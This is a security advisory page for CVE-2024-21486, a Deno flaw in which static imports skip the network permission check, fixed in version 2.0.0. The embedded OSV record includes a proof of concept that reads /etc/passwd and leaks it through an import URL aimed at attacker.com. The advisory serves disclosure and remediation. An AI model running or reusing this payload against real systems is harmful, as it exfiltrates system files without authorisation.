CVE-2024-21486: Deno Deno Vulnerable To Exposure Of Vulnerability
MODERATECVE-2024-21486 is a MODERATE (CVSS 5.3) deno vulnerable to exposure of vulnerability (CWE-200: Exposure of Sensitive Information to an Unauthorized Actor) affecting Deno libraries in the crates.io ecosystem. The issue involves deno vulnerable to exposure of sensitive information to an unauthorized actor. Remediation is available by upgrading affected packages to version 2.0.0.
CVE-2024-21486 at a Glance
Security Impact
CVSS: 5.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N).
How to Fix CVE-2024-21486
To remediate this vulnerability, upgrade all affected Deno dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade deno to 2.0.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for deno
How to Check if You Are Affected
To determine whether your application is affected by CVE-2024-21486, inspect your project dependencies for Deno:
inspect dependencies for deno
Analyze the terminal output to locate any version of Deno in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, where the product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. In Deno, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2024-21486 Affected Deno Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
deno
|
crates.io |
< 2.0.0
|
2.0.0
|
References
Frequently Asked Questions
What is CVE-2024-21486?
Which Deno versions are affected?
What version fixes CVE-2024-21486?
Is deno affected?
What is the CVSS score of CVE-2024-21486?
What CWE is associated with CVE-2024-21486?
How can I check crates.io dependencies for CVE-2024-21486?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-jv4x-jv3h-qff5",
"modified" : "2025-06-05T01:21:08Z",
"published" : "2025-06-05T01:21:08Z",
"aliases" : [ "CVE-2024-21486" ],
"summary" : "Deno vulnerable to Exposure of Sensitive Information to an Unauthorized Actor",
"details" : "### Summary\n\nStatic imports are exempted from the network permission check. An attacker could exploit this to leak the password file on the network.\n\n### Details\n\nStatic imports in Deno are exempted from the network permission check. This can be exploited by attackers in multiple ways, when third-party code is directly/indirectly executed with `deno run`:\n\n1. The simplest payload would be a tracking pixel-like import that attackers place in their code to find out when developers use the attacker-controlled code.\n2. When `--allow-write` and `--allow-read` permissions are given, an attacker can perform a sophisticated two-steps attack: first, they generate a ts/js file containing a static import and in a second execution load this static file.\n\n### PoC\n\n```ts\nconst __filename = new URL(\"\", import.meta.url).pathname;\nlet oldContent = await Deno.readTextFile(__filename);\nlet passFile = await Deno.readTextFile(\"/etc/passwd\");\nlet pre =\n 'import {foo} from \"[https://attacker.com?val=](https://attacker.com/?val=)' +\n encodeURIComponent(passFile) + '\";\\n';\nawait Deno.writeTextFile(__filename, pre + oldContent);\n```\n\nExecuting a file containing this payload twice, with `deno run --allow-read --allow-write` would cause the password file to leak on the network, even though no network permission was granted.\n\nThis vulnerability was fixed with the addition of the `--allow-import` flag: https://docs.deno.com/runtime/fundamentals/security/#network-access",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "crates.io",
"name" : "deno"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.0.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/denoland/deno/security/advisories/GHSA-jv4x-jv3h-qff5"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/denoland/deno"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-200" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2025-06-05T01:21:08Z",
"nvd_published_at" : null
}
}